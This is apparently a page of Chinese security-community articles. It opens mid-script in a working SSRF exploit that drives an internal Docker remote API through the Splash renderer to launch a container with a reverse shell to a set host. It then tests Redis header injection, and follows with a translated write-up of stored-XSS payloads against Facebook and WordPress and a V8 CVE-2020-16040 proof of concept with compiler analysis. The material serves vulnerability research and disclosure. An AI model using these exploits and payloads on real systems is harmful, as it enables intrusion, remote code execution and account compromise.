'headers': {'Content-Type': 'application/json'},
"body": "",
})
print(resp.request.url)
print(resp.status_code)
print(resp.text)
print("-" * 50)
def get_result(api, docker_api, container_id):
url = "%s/render.html" % api
docker_url = '%s/containers/%s/json' % (docker_api, container_id)
params = {
'url': docker_url
}
resp = requests.get(url, params=params, json={
'headers': {
'Accept': 'application/json'},
})
print(resp.request.url)
print(resp.status_code)
result = re.search('"ExitCode":(\w+),"', resp.text)
exit_code = result.group(1)
if exit_code == '0':
print('success')
else:
print('error')
print("-" * 50)
if __name__ == '__main__':
# splash地址和端口
splash_host = '192.168.1.120'
splash_port = 8050
# 内网docker的地址和端口
docker_host = '172.16.10.74'
docker_port = 2375
# 反弹shell的地址和端口
shell_host = '192.168.1.213'
shell_port = 12345
splash_api = "http://%s:%d" % (splash_host, splash_port)
docker_api = 'http://%s:%d' % (docker_host, docker_port)
# docker image，存在docker hub上
image_name = 'b1ngz/busybox'
image_tag = 'latest'
# 拉取 image
pull_image(splash_api, docker_api, image_name, image_tag)
# 创建 container
container_id = create_container(splash_api, docker_api, image_name, image_tag, shell_host, shell_port)
# 启动 container
start_container(splash_api, docker_api, container_id)
# 获取写入crontab结果
get_result(splash_api, docker_api, container_id)
## 其他利用思路
其他思路的话，首先想到 ssrf 配合 `gopher` 协议，然后结合内网 redis，因为splash是基于qt的，
查了一下[文档](https://wiki.python.org/moin/PyQt/Adding%20the%20Gopher%20Protocol%20to%20QtWebKit)
，qtwebkit 默认不支持 `gopher` 协议，所以无法使用 `gopher` 。
后来经过测试，发现请求 `headers` 可控 ，并且支持 `\n` 换行
这里测试选择了 redis 3.2.8 版本，以root权限运行，监听在 172.16.10.74，测试脚本如下，可以成功执行
# -*- coding: utf-8 -*- __author__ = 'b1ng'
import requests
def test_get(api, redis_api):
url = "%s/render.html" % api
params = {
'url': redis_api,
'timeout': 10
}
resp = requests.post(url, params=params, json={
'headers': {
'config set dir /root\n': '',
},
})
print(resp.request.url)
print(resp.status_code)
print(resp.text)
if __name__ == '__main__':
# splash地址和端口
splash_host = '192.168.1.120'
splash_port = 8050
# 内网docker的地址和端口
docker_host = '172.16.10.74'
docker_port = 6379
splash_api = "http://%s:%d" % (splash_host, splash_port)
docker_api = 'http://%s:%d' % (docker_host, docker_port)
test_get(splash_api, docker_api)
运行后 redis 发出了警告 (高版本的新功能)
24089:M 11 Jul 23:29:07.730 - Accepted 172.17.0.2:56886
24089:M 11 Jul 23:29:07.730 # Possible SECURITY ATTACK detected. It looks like somebody is sending POST or Host: commands to Redis. This is likely due to an attacker attempting to use Cross Protocol Scripting to compromise your Redis instance. Connection aborted.
但是执行了
172.16.10.74:6379> config get dir
1) "dir"
2) "/root"
后来又测试了一下 post body，发现 body 还没发出去，连接就被强制断开了，所以无法利用
这里用 nc 来看一下发送的数据包
root@test:/home/user/Desktop# nc -vv -l -p 5555
Listening on [0.0.0.0] (family 0, port 5555)
Connection from [172.17.0.2] port 5555 [tcp/*] accepted (family 2, sport 38384)
GET / HTTP/1.1
config set dir /root
:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) splash Safari/538.1
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en,*
Host: 172.16.10.74:5555
可以看到 `config set dir /root`，说明可以利用
其他的话，因为支持post，也可以结合一些内网系统进行利用，这里就不细说了
# 0x 04 修复方案
对于splash，看了下文档，没有提到认证说明，应该是应用本身就没有这个功能，所以得自己加认证，临时方案可以用 basic
认证，彻底修复的话还是得自己修改代码，加上认证功能
这里的 docker remote api，应该是因为旧版本的 swarm 开放的，根据
[文档](https://docs.docker.com/v1.11/swarm/install-manual/) 中 step 3，每个 node
都会开放 2375 或者 2376 端口，通过 iptables 来限制的话，需要配置 client node 的端口只允许 manager
访问，manager 的端口需要加白名单
# 0x 05 Timeline
2017-07-05 02:00:00 提交漏洞，报告内容为存在带回显 SSRF
2017-07-05 10:07:28 深入后成功获取内网服务器root权限 (可获取多台服务器root权限，并可拉取和push
docker仓库image，仓库中有如 api-xxx、xxx.com 名称的 image )，联系审核人员，提交补充后的报告
2017-07-06 18:15:00
联系审核人员，询问进度，告知已复现。因为之前相同危害漏洞评级为严重，所以询问此漏洞是否属于严重漏洞，告知金币兑换比例提升后( 5:1 提升为 1:1
)，严重漏洞评定收紧，明天审核
2017-07-07 14:31:00
审核人员告知复现时，获取内网权限步骤遇到问题，要求提供更多细节，因为之前笔记笔记乱，回复晚些整理后再发送，顺带询问评级，答复获取到权限的服务器不属于核心服务器，并且内部对评为
一般业务高危 还是 一般业务严重 存在分歧，对应金币奖励为 800 和 1000，正好赶上三倍活动，也就是 2400 -3000。这里算了一下，按照奖励提升之前的评级规则，相同危害的漏洞是评为核心严重的，对应奖励为 5000现金 + 3000 积分
(兑换比例5:1)，这里相同危害，奖励提升后，再加上三倍金币活动，比之前的奖励还低一些，所以觉得不合理，因赶上周五和其他一些事情，商量下周一给评级
2017-07-10 10:16:00 联系审核人员，因为两边对于评级意见不一致，询问是否能够给予授权，继续深入，尝试证明可获取到 “核心服务器”
权限，回复没有给予授权，并告知可以判定为非核心严重级别，询问是否能够接受，回复不能接受，并给出理由
2017-07-12 10:08:00 联系审核人员，提供获取反弹shell EXP，并告知会写文章，希望尽快确认并修复，最终给予评级 严重非核心
，1500 积分，4500 金币(三倍活动) | 社区文章 |
# FaceBook的存储型XSS漏洞
|
##### 译文声明
本文是翻译文章，文章原作者 default_user，文章来源：opnsec.com
原文地址：<https://opnsec.com/2018/03/stored-xss-on-facebook/>
译文仅供参考，具体内容表达以及含义原文为准。
## 介绍
我在2017年4月报告了多个FaceBook
wall上的存储型XSS。这些存储型XSS漏洞也出现在WordPress中，所以我在发布这篇文章之前等待WordPress进行修补。这些漏洞现已在WordPress上修复！
这些XSS有点复杂，因为它们需要多个步骤，但是每一步本身都很容易理解。
## Open Graph协议
当您在Facebook帖子中添加URL时，Facebook将使用[Open Graph协议](http://ogp.me/) （[FB
doc](https://developers.facebook.com/docs/sharing/webmasters/)）显示丰富的内容。以下是关于Facebook如何使用OG在FB帖子中嵌入外部内容的大致流程：
1. 攻击者在FB帖子上发布URL
2. FB服务器读取URL（服务器端）并读取OG meta标签中提取有关URL内容的信息（例如，内容是带有标题，封面图像，视频编码类型和视频文件URL的视频）
3. 受害者查看带有封面图片和播放按钮FB帖子
4. 当受害者点击播放按钮时，视频会使用从OG元标记中提取的视频信息加载。 **（XSS将在这里执行）**
> 许多网站也使用OG工作流，包括Twitter和WordPress等。
>
> 步骤#2很敏感：服务器端读取用户提供的URL，这通常会导致SSRF。
> 如果托管网站在敏感网页上使用X-Frame-> Options：SAMEORIGIN并允许攻击者在同一子域中注入任意iframe，则会造成潜在的点击劫持漏洞。
>
> FB不容易受到这些问题的影响
有趣的部分在步骤#4：在受害者点击播放按钮后，FB加载视频时。首先，FB会发送一个XHR请求来获取视频类型和视频文件URL，它们都是由攻击者在ogvideo：type（我们称之为ogVideoType）和og：video：secure_url（ogVideoUrl
）由攻击者发布的URL的标签。以下是OG元标记的示例：
<!DOCTYPE html>
<html>
<head>
<meta property="og:video:type" content="video/flv">
<meta property="og:video:secure_url" content='https://example.com/video.flv'>
<meta property="og:video:width" content="718">
<meta property="og:video:height" content="404">
<meta property="og:image" content="https://example.com/cover.jpg">
(...)
</head>
<body>
(...)
</body>
</html>
If ogVideoType is “iframe” or “swf player” then FB loads an external iframe
and doesn’t handle the playing of the video. Otherwise, FB was using
[MediaElement.js](http://www.mediaelementjs.com/)to handle the loading of the
video directly on facebook.com. I already reported and [disclosed
vulnerabilities](https://opnsec.com/2017/10/flashme-wordpress-vulnerability-disclosure-cve-2016-9263/) on the Flash component of ME.js on both Facebook
and WordPress.
如果ogVideoType是“iframe”或“swf
player”，则FB会加载一个外部iframe并且不处理该视频的播放，而是直接使用[MediaElement.js](http://www.mediaelementjs.com/)在facebook.com上处理视频加载。我已经报告并[披露](https://opnsec.com/2017/10/flashme-wordpress-vulnerability-disclosure-cve-2016-9263/)了ME.js的Flash组件在Facebook
和WordPress上的[漏洞](https://opnsec.com/2017/10/flashme-wordpress-vulnerability-disclosure-cve-2016-9263/)。
## 1.使用FlashMediaElement.swf造成的存储型XSS
MediaElements.js根据ogVideoType会有多种播放视频的方式。
如果ogVideoType是“video /
flv”（flash视频），则Facebook在facebook.com上加载Flash文件FlashMediaElement.swf（使用<embed>标签），并将ogVideoUrl传递到FlashME.swf进行视频播放。FlashME.swf然后将日志信息发送到facebook.com（使用Flash-to-JavaScript）关于“视频播放”或“视频结束”等事件。FlashME.swf正确处理了Flash-to-JavaScript的通信，特别是被正确转义为 **\** 以避免XSS。
但是，发送的JavaScript代码是：
setTimeout('log("[VIDEO_URL]")', 0)
> 在Javascript中setTimeout与eval类似，它会将字符串转换为指令，使其非常危险
[VIDEO_URL]由攻击者控制，它是ogVideoUrl的值。如果它包含 **“** 例如
http://evil.com/video.flv?"[payload]
Flash会将以下指令发送给javascript：
setTimeout("log(\"http://evil.com/video.flv?\"payload\")", 0);
如您所见， **“** in **video.flv？”payload** 已正确转义，因此攻击者无法逃离setTimeout函数。
但是，当JavaScript执行setTimeout函数时，它将执行以下JavaScript指令：
log("http://evil.com/video.flv?"[payload]")
而这次 **“** 不再逃脱，攻击者可以注入XSS！
现在的问题是，Facebook在将ogVideoUrl传递给FlashME.swf之前是否会转义l。
首先，Facebook
JavaScript向Facebook服务器发送XHR请求以获取ogVideoType和ogVideoUrl的值。ogVideoUrl的值是正确编码的，但它可以包含任何特殊字符，例如：
https://evil.com?"'<
然后，在发送到Flash之前，ogVideoUrl进行了如下转换：
function absolutizeUrl(ogVideoUrl) {
var tempDiv = document.createElement('div');
tempDiv.innerHTML = '<a href="' + ogVideoUrl.toString().split('"').join('"') + '">x</a>';
return tempDiv.firstChild.href;
}flashDiv.innerHTML ='<embed src="FlashME.swf?videoFile=' + encodeURI(absolutizeUrl(ogVideoUrl )) +'" type="application/x-shockwave-flash">';
absolutizeUrl（ogVideoUrl）的结果
在发送到Flash之前进行了URL编码，但当Flash接收到数据时，它会自动对其进行URL解码，因此我们可以忽略encodeURI指令。
absolutizeUrl使用当前的javascript上下文的协议和域(Domain)来将相对URL转换为绝对URL（如果提供了绝对URL，则返回它几乎不变）。这似乎是“哈克”，但它看起来足够安全和简单，因为我们让浏览器做了艰苦的工作。但当存在特殊字符编码时，这并不简单。
当最初分析这段代码时，我使用的是Firefox，因为它有很棒的扩展，比如Hackbar，Tamper Data和Firebug！
在Firefox中，如果你尝试
absolutizeUrl('http://evil.com/video.flv#"payload')
它会返回
http://evil.com/video.flv#%22payload
所以我被难住了，因为在Facebook中，由Flash发送的JavaScript指令会是
setTimeout("log(\"http://evil.com/video.flv?%22payload\")", 0);
这将导致
log("http://evil.com/video.flv?%22[payload]")
这不是一个XSS。
然后我尝试了Chrome和
absolutizeUrl('http://evil.com/video.flv#"payload')
返回：
http://evil.com/video.flv#"payload
和 o / YEAH !!!!!
现在Flash发送
setTimeout("log(\"http://evil.com/video.flv?\"payload\")", 0);
到Facebook的JavaScript和哪些将导致
log("http://evil.com/video.flv?"[payload]")
所以如果ogVideoUrl设置为
http://evil.com/video.flv#"+alert(document.domain+" XSSed!")+"
那么Facebook将执行
log("http://evil.com/video.flv?"+alert(document.domain+" XSSed!")+"")
并会显示一个不错的小警告框，说“facebook.com XSSed！” 🙂
> 这是由于浏览器解析URL时，不同的浏览器在特殊字符编码上有所不同：
>
> * Firefox将对URL中出现的任何双引号(“)进行URL编码
> * Chrome浏览器（最高版本为64）将除了URL 的hash部分（=fragment
> *
> ）外的双引号(“)进行URL编码。（请注意：在Chrome的最新版本65中，此行为已更改，现在Chrome的行为与Firefox相同，在hash中的双引号（”）也会进行编码）
> * IE和Edge将不会URL编码在hash部分或者URL 的搜索部分（=query）中的双引号
> * Safari将不会URL编码在hash部分的双引号(“)
>
>
> 正如你所看到的让浏览器决定如何在JavaScript代码中的URL中进行特殊字符编码并不是很好！
我立即将此漏洞报告给Facebook，他们在第二天回复并告诉我他们修改了Flash文件，以便它不再使用setTimeout，Flash现在会发送
log("http://evil.com/video.flv?\"payload")
正如你所看到的 **“** 正确地转义到 **”** ，所里这里不再有XSS。
## 2.无Flash存储XSS
上面的的XSS需要Flash，所以我检查这里能否有一个不使用Flash的payload。
如果ogVideoType是“video / vimeo”，则会执行以下代码
ogVideoUrl = absolutizeUrl(ogVideoUrl);ogVideoUrl = ogVideoUrl.substr(ogVideoUrl.lastIndexOf('/') + 1);playerDiv.innerHTML = '<iframe src="https://player.vimeo.com/video/' + ogVideoUrl + '?api=1"></iframe>';
正如你可以看到
absolutizeUrl（ogURL）在注入playerDiv.innerHTML之前没有被urlencoded，所以当ogVideoUrl设置为
http://evil.com/#" onload="alert(document.domain)"
playerDiv.innerHTML则会变为：
<iframe src="https://player.vimeo.com/video/#" onload="alert(document.domain)" ?api=1"></iframe>
这又是Facebook.com上的XSS！
我在前一个XSS被修复的同一天报道了这一点，Facebook在同一天用如下方法修复了漏洞：
ogVideoUrl = absolutizeUrl(ogVideoUrl);ogVideoUrl = ogVideoUrl.substr(ogVideoUrl.lastIndexOf('/') + 1);playerDiv.innerHTML = '<iframe src="https://player.vimeo.com/video/' + ogVideoUrl.split('"').join('"') + '?api=1"></iframe>'
以下是这个XSS的视频：
您的浏览器不支持video标签
第二天，我发现了另一个易受攻击的点：当ogVideoType是未知的类型，比如“video /
nothing”时，Facebook会显示一条包含ogVideoUrl链接的错误消息，如下所示：
errorDiv.innerHTML = '<a href="' +absolutizeUrl(ogVideoUrl ) + '">'
所以ogVideoUrl 的payload设置为
https://opnsec.com/#"><img/src="xxx"onerror="alert(document.domain)
errorDiv.innerHTML则会变为：
`<a href="https://opnsec.com/#"><img src="xxx"
onerror="alert(document.domain)">`
我把它报告给了Facebook，非常欢乐的是，来自Facebook的白帽子Neil告诉我，他计划在第二天检查这些代码！
## 哦，还有一件事…
另一种可能的ogVideoType是“silverlight”。[Silverlight](https://www.microsoft.com/silverlight/)
是微软公司的浏览器插件，它能与VBscript交互，就像Flash和JavaScript交互。
在Facebook（silverlightmediaelement.xap）上托管的silverlight文件是这样加载的：
params = ["file=" + ogVideoUrl, "id=playerID"];silverlightDiv.innerHTML ='<object data="data:application/x-silverlight-2," type="application/x-silverlight-2"><param name="initParams" value="' + params.join(',').split('"').join('"') + '" /></object>';
silverlightmediaelement.xap然后会发送日志信息到Facebook的JavaScript（这点有点像Flash），但这次它不包含ogVideoUrl，但只有player
ID，这是另一个在initParams中发送由Facebook定义的参数。Silverlight会调用javascript函数 **[id]
_init（）** ，其中[id]是“playerID”。
在Silverlight中，参数不是由 URLs或Flash中的 **＆** 所分隔，而是通过 **逗号(,)**
如果ogVideoUrl 包含一个 **逗号( ，)** 那么在这个 **逗号**
后面的每一个东西都将被silverlight视为另一个参数，这意味着使用有效载荷
https://opnsec.com/#,id=alert(document.domain)&
然后silverlight像这样加载：
silverlightDiv.innerHTML ='<object data="data:application/x-silverlight-2," type="application/x-silverlight-2"><param name="initParams" value="file=https://opnsec.com/#,id=alert(document.domain)&,id=playerID" /></object>';
Silverlight将仅考虑id的第一次出现，并将其值设置为
alert(document.domain)&
然后Silverlight将调用以下javascript：
alert(document.domain)&_init()
这意味着再次 XSS！
我在同一天进行了提交，Neal回复说他们将删除所有MediaElement组件，并用一种处理外部视频的新方式替换它！
## 那么WordPress呢？
所有这些存在问题的代码都不是由Facebook开发的，他们使用了可以将视频嵌入到网页中
[MediaElementjs](http://www.mediaelementjs.com/)
库，它是一个流行的（现在依旧是，尤其是因为它们具有支持旧版浏览器的Flash后备功能）开源模块。特别是，WordPress在处理[短代码](https://codex.wordpress.org/Shortcode_API)时默认使用这个模块。这些漏洞也存在于WordPress中，并能够在WordPress评论或作者写的WordPress文章中写入存储XSS（在WordPress中，作者角色不允许执行JavaScript）。
我向WordPress报告了漏洞，几个月之前我已经报告过[其他漏洞](https://opnsec.com/2017/10/flashme-wordpress-vulnerability-disclosure-cve-2016-9263/)
。他们向MediaElementjs团队通报了这一消息，并告诉我他们正在进行修复。在2018年2月，他们终于发布了与MediaElementjs相关的所有XSS的修复程序。
## 结论
我学到了很多东西，并且发现这些漏洞非常有趣。我希望你也喜欢它！
以下是一些建议：
> Open Graph（以及像json-> ld这样的替代品）是在网站上显示丰富的外部内容的好方法，但你应该小心使用（认为SSRF，XSS和Clickjacking）
>
> 不要让浏览器在您的JavaScript代码中为您解析URL，每个浏览器都以自己的方式处理它，并且浏览器可以随时更改其行为（如Chrome 64 – >
> 65）。应该改为使用白名单正则表达式。
>
>
> 现在的自动工具不会检测到使用XHR，DOM突变和外部内容的复杂动态XSS。所以即使是最安全，最有影响力的网站也可能会受到攻击。代码审查和调试是实现这些目标的方法！
>
> 不要害怕大的、压缩过、动态的JavaScript源代码。如果您在网站上发现一些潜在的危险功能，您可以放轻松的检查它是如何实现的。
>
> Facebook WhiteHat是一个非常好的漏洞奖励计划！感谢Neal及其团队 | 社区文章 |
# v8漏洞学习之cve-2020-16040
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近学习了zer0con2021中的chrome exploitation议题，收获很大，在这里做一个简单的总结。
## poc
我们这里先简单放一个分析漏洞时使用的poc，下面的分析过程默认都使用了该代码。
function foo(a) {
var y = 0x7fffffff;
if (a == NaN) y = NaN;
if (a) y = -1;
let z = y + 1;
z >>= 31;
z = 0x80000000 - Math.sign(z|1);
if(a) z = 0;
z = 0-Math.sign(z);
return z;
}
## root case
在分析主要成因时，我们首先来简单分析一下他的Simplified lowering阶段，主要从以下三部分下手：
* The truncation propagation phase (RunTruncationPropagationPhase)
* 反向数据流分析，传播truncations，并设置restriction_type。
* The type propagation phase (RunTypePropagationPhase)
* 正向数据流分析，根据feedback_type重新计算type信息。
* The lowering phase (Run, after calling the previous phases)
* 降级nodes
* 插入conversion nodes
void Run(SimplifiedLowering* lowering) {
GenerateTraversal();
RunPropagatePhase();
RunRetypePhase();
RunLowerPhase(lowering);
}
### —{Propagate phase}—
void RunPropagatePhase() {
TRACE("--{Propagate phase}--\n");
ResetNodeInfoState();
DCHECK(revisit_queue_.empty());
// Process nodes in reverse post order, with End as the root.
for (auto it = traversal_nodes_.crbegin(); it != traversal_nodes_.crend();
++it) {
PropagateTruncation(*it);
while (!revisit_queue_.empty()) {
Node* node = revisit_queue_.front();
revisit_queue_.pop();
PropagateTruncation(node);
}
}
}
void PropagateTruncation(Node* node) {
NodeInfo* info = GetInfo(node);
info->set_visited();
TRACE(" visit #%d: %s (trunc: %s)\n", node->id(), node->op()->mnemonic(),
info->truncation().description());
VisitNode<PROPAGATE>(node, info->truncation(), nullptr);
}
template <Phase T>
void VisitNode(Node* node, Truncation truncation,
SimplifiedLowering* lowering) {
switch (node->opcode()) {
case IrOpcode::kEnd:
....
case IrOpcode::kJSParseInt:
VisitInputs<T>(node);
// Assume the output is tagged.
return SetOutput<T>(node, MachineRepresentation::kTagged);
可以看到我们对每个节点调用对应的visit，并且如果被访问的节点的truncation被修改的话，我们会将其存入revisit _queue_ 。
该过程是从end开始的，可以看到对于end节点他将不会添加任何截断，最后将output修改为kTagged结束。
visit #92: End (trunc: no-value-use)
initial #91: no-value-use
下面简单举几个例子：
我们先接着去看return：
case IrOpcode::kReturn:
VisitReturn<T>(node);
// Assume the output is tagged.
return SetOutput<T>(node, MachineRepresentation::kTagged);
template <Phase T>
void VisitReturn(Node* node) {
int first_effect_index = NodeProperties::FirstEffectIndex(node);
// Visit integer slot count to pop
ProcessInput<T>(node, 0, UseInfo::TruncatingWord32());
// Visit value, context and frame state inputs as tagged.
for (int i = 1; i < first_effect_index; i++) {
ProcessInput<T>(node, i, UseInfo::AnyTagged());
}
// Only enqueue other inputs (effects, control).
for (int i = first_effect_index; i < node->InputCount(); i++) {
EnqueueInput<T>(node, i);
}
}
根据代码，只有第一个input将会被截断，其他input不会截断，之后将return结点的output设置为Tagged。
visit #91: Return (trunc: no-value-use)
initial #70: truncate-to-word32
initial #90: no-truncation (but distinguish zeros)
initial #90: no-truncation (but distinguish zeros)
initial #68: no-value-use
接着是SpeculativeSafeIntegerSubtract
case IrOpcode::kSpeculativeSafeIntegerAdd:
case IrOpcode::kSpeculativeSafeIntegerSubtract:
return VisitSpeculativeIntegerAdditiveOp<T>(node, truncation, lowering);
template <Phase T>
void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation,
SimplifiedLowering* lowering) {
Type left_upper = GetUpperBound(node->InputAt(0));
Type right_upper = GetUpperBound(node->InputAt(1));
if (left_upper.Is(type_cache_->kAdditiveSafeIntegerOrMinusZero) &&
right_upper.Is(type_cache_->kAdditiveSafeIntegerOrMinusZero)) {
// Only eliminate the node if its typing rule can be satisfied, namely
// that a safe integer is produced.
if (truncation.IsUnused()) return VisitUnused<T>(node);
// If we know how to interpret the result or if the users only care
// about the low 32-bits, we can truncate to Word32 do a wrapping
// addition.
if (GetUpperBound(node).Is(Type::Signed32()) ||
GetUpperBound(node).Is(Type::Unsigned32()) ||
truncation.IsUsedAsWord32()) {
// => Int32Add/Sub
VisitWord32TruncatingBinop<T>(node);
if (lower<T>()) ChangeToPureOp(node, Int32Op(node));
return;
}
}
.......
}
注意这里的if判断，if (GetUpperBound(node).Is(Type::Signed32()) ||
GetUpperBound(node).Is(Type::Unsigned32()) || truncation.IsUsedAsWord32())
他这里会判断节点的截断是否为word32，这里是不满足的,根据上面return节点的截断传递结果，可以看到是没有截断传递到我们当前的结点的，因为这里是或的关系，我们的左右操作数分别为range(0,0)、range(0,1)满足Is(Type::Unsigned32())，所以接下来会调用VisitWord32TruncatingBinop<T>(node)。
template <Phase T>
void VisitWord32TruncatingBinop(Node* node) {
VisitBinop<T>(node, UseInfo::TruncatingWord32(),
MachineRepresentation::kWord32);
}
template <Phase T>
void VisitBinop(Node* node, UseInfo input_use, MachineRepresentation output,
Type restriction_type = Type::Any()) {
VisitBinop<T>(node, input_use, input_use, output, restriction_type);
}
template <Phase T>
void VisitBinop(Node* node, UseInfo left_use, UseInfo right_use,
MachineRepresentation output,
Type restriction_type = Type::Any()) {
DCHECK_EQ(2, node->op()->ValueInputCount());
ProcessInput<T>(node, 0, left_use);
ProcessInput<T>(node, 1, right_use);
for (int i = 2; i < node->InputCount(); i++) {
EnqueueInput<T>(node, i);
}
SetOutput<T>(node, output, restriction_type);
根据上面的代码可知：该结点的前两个input结点将被设置word32截断，之后会将所有input加入enqueue，并且将output也就是输出类型设置为Type::Any()。
结果如下：
visit #90: SpeculativeSafeIntegerSubtract (trunc: no-truncation (but distinguish zeros))
initial #70: truncate-to-word32
initial #110: truncate-to-word32
initial #102: no-value-use
initial #68: no-value-use
跳过一些不重要的内容，我们直接去看关键代码处：
let z = y + 1;
我们去看这个add结点处的代码：
case IrOpcode::kSpeculativeSafeIntegerAdd:
case IrOpcode::kSpeculativeSafeIntegerSubtract:
return VisitSpeculativeIntegerAdditiveOp<T>(node, truncation, lowering);
template <Phase T>
void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation,
SimplifiedLowering* lowering) {
....
} else {
// If the output's truncation is identify-zeros, we can pass it
// along. Moreover, if the operation is addition and we know the
// right-hand side is not minus zero, we do not have to distinguish
// between 0 and -0.
IdentifyZeros left_identify_zeros = truncation.identify_zeros();
if (node->opcode() == IrOpcode::kSpeculativeSafeIntegerAdd &&
!right_feedback_type.Maybe(Type::MinusZero())) {
left_identify_zeros = kIdentifyZeros;
}
UseInfo left_use = CheckedUseInfoAsWord32FromHint(hint, FeedbackSource(),
left_identify_zeros);
// For CheckedInt32Add and CheckedInt32Sub, we don't need to do
// a minus zero check for the right hand side, since we already
// know that the left hand side is a proper Signed32 value,
// potentially guarded by a check.
UseInfo right_use = CheckedUseInfoAsWord32FromHint(hint, FeedbackSource(),
kIdentifyZeros);
VisitBinop<T>(node, left_use, right_use, MachineRepresentation::kWord32,
Type::Signed32());
}
......
}
VisitSpeculativeIntegerAdditiveOp会步入到上面所示的else分支处，这里有个很重要的内容VisitBinop，我们上面也见过了，它主要的作用就是对input结点传递截断信息，并且它还会将restriction_type更新为Type::Signed32()。！！这里很重要
template <Phase T>
void VisitBinop(Node* node, UseInfo left_use, UseInfo right_use,
MachineRepresentation output,
Type restriction_type = Type::Any()) {
DCHECK_EQ(2, node->op()->ValueInputCount());
ProcessInput<T>(node, 0, left_use);
ProcessInput<T>(node, 1, right_use);
for (int i = 2; i < node->InputCount(); i++) {
EnqueueInput<T>(node, i);
}
SetOutput<T>(node, output, restriction_type);
}
结果：
visit #43: SpeculativeSafeIntegerAdd (trunc: truncate-to-word32)
initial #39: no-truncation (but identify zeros)
initial #42: no-truncation (but identify zeros)
initial #22: no-value-use
initial #36: no-value-use
### —{Retype phase}—
retype是正向数据流分析和截断相反，是从start节点开始的。
趁热打铁，我们来看下SpeculativeSafeIntegerAdd那里的Retype。
#43:SpeculativeSafeIntegerAdd[SignedSmall]
(#39:Phi, #42:NumberConstant, #22:SpeculativeNumberEqual, #36:Merge)
[Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)]
这个结果是怎么得到的呢，我们来分析一下Retype阶段：
bool RetypeNode(Node* node) {
NodeInfo* info = GetInfo(node);
info->set_visited();
bool updated = UpdateFeedbackType(node);
TRACE(" visit #%d: %s\n", node->id(), node->op()->mnemonic());
VisitNode<RETYPE>(node, info->truncation(), nullptr);
TRACE(" ==> output %s\n", MachineReprToString(info->representation()));
return updated;
}
bool UpdateFeedbackType(Node* node) {
....
Type input0_type;
if (node->InputCount() > 0) input0_type = FeedbackTypeOf(node->InputAt(0));
Type input1_type;
if (node->InputCount() > 1) input1_type = FeedbackTypeOf(node->InputAt(1));
switch (node->opcode()) {
....
#define DECLARE_CASE(Name) \
case IrOpcode::k##Name: { \
new_type = Type::Intersect(op_typer_.Name(input0_type, input1_type), \
info->restriction_type(), graph_zone()); \
break; \
}
SIMPLIFIED_SPECULATIVE_NUMBER_BINOP_LIST(DECLARE_CASE)
SIMPLIFIED_SPECULATIVE_BIGINT_BINOP_LIST(DECLARE_CASE)
#undef DECLARE_CASE
....
new_type = Type::Intersect(GetUpperBound(node), new_type, graph_zone());
if (!type.IsInvalid() && new_type.Is(type)) return false;
GetInfo(node)->set_feedback_type(new_type);
if (FLAG_trace_representation) {
PrintNodeFeedbackType(node);
}
return true;
}
Type FeedbackTypeOf(Node* node) {
Type type = GetInfo(node)->feedback_type();
return type.IsInvalid() ? Type::None() : type;
}
#define SIMPLIFIED_SPECULATIVE_NUMBER_BINOP_LIST(V) \
V(SpeculativeNumberAdd) \
V(SpeculativeNumberSubtract) \
V(SpeculativeNumberMultiply) \
....
解释一下上面的代码：
首先RetypeNode通过对每个节点调用UpdateFeedbackType来更新类型，在UpdateFeedbackType中首先会对前两个input节点调用FeedbackTypeOf，这个函数很简单主要是去判断该节点对应的nodeinfo上是否设置了feedback类型，如果有则使用该类型，无的话则返回Type::None()。
重头戏在这个位置：newtype = Type::Intersect(op_typer.Name(input0type, input1_type),
info->restriction_type(), graph_zone());
首先最外层是一个取交集的操作，op_typer\\.Name()这个怎么理解呢，不知道大伙还记得typer阶段的分析代码吗（这里把代码放在了下面辅助理解），这里就相当于把input0_type和input1_type重新带入，再次调用一次SpeculativeSafeIntegerAdd的type分析，计算出对应的type，这里也就是上面结果中的Range(0,
2147483648)。
typer phase:
#define SPECULATIVE_NUMBER_BINOP(Name) \
Type OperationTyper::Speculative##Name(Type lhs, Type rhs) { \
lhs = SpeculativeToNumber(lhs); \
rhs = SpeculativeToNumber(rhs); \
return Name(lhs, rhs); \
}
之后获得的Range(0,
2147483648)将会和info->restriction_type()取交集，我们在上面将他的restriction_type设置为了Type::Signed32()，也就是range(-2147483648,2147483647)，所以这里就是将Range(0,
2147483648)和range(-2147483648,2147483647)取交集，最后得到了他的Feedback type: Range(0,
2147483647)，之后通过set_feedback_type将这个type更新到nodeinfo的feedback_type字段上。
之后这个feedback_type被继续向后传播，最后产生如下结果：
//let z = y + 1; 实际值：2147483648
#43:SpeculativeSafeIntegerAdd[SignedSmall]
(#39:Phi, #42:NumberConstant, #22:SpeculativeNumberEqual, #36:Merge)
[Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)]
//z >>= 31; 实际值：-1
#45:SpeculativeNumberShiftRight[SignedSmall]
(#43:SpeculativeSafeIntegerAdd, #44:NumberConstant, #43:SpeculativeSafeIntegerAdd, #36:Merge)
[Static type: Range(-1, 0), Feedback type: Range(0, 0)]
//Math.sign(z|1);
#58:SpeculativeNumberBitwiseOr[SignedSmall]
(#45:SpeculativeNumberShiftRight, #42:NumberConstant, #99:LoadField, #36:Merge)
[Static type: Range(-1, 2147483647), Feedback type: Range(1, 1)]
#104:NumberSign
(#58:SpeculativeNumberBitwiseOr)
[Static type: Range(-1, 1), Feedback type: Range(1, 1)]
//z = 0x80000000 - Math.sign(z|1) 实际值：-2147483647
#113:NumberSubtract
(#46:NumberConstant, #104:NumberSign)
[Static type: Range(2147483647, 2147483649), Feedback type: Range(2147483647, 2147483647)]
//if(a) z = 0;
#71:Phi[kRepTagged]
(#113:NumberSubtract, #70:NumberConstant, #68:Merge)
[Static type: Range(0, 2147483649), Feedback type: Range(0, 2147483647)]
//z = 0-Math.sign(z); 实际值：1
#110:NumberSign(#71:Phi) [Static type: Range(0, 1)]
#90:SpeculativeSafeIntegerSubtract[SignedSmall]
(#70:NumberConstant, #110:NumberSign, #102:CheckIf, #68:Merge)
[Static type: Range(-1, 0)]
### —{Lower phase}—
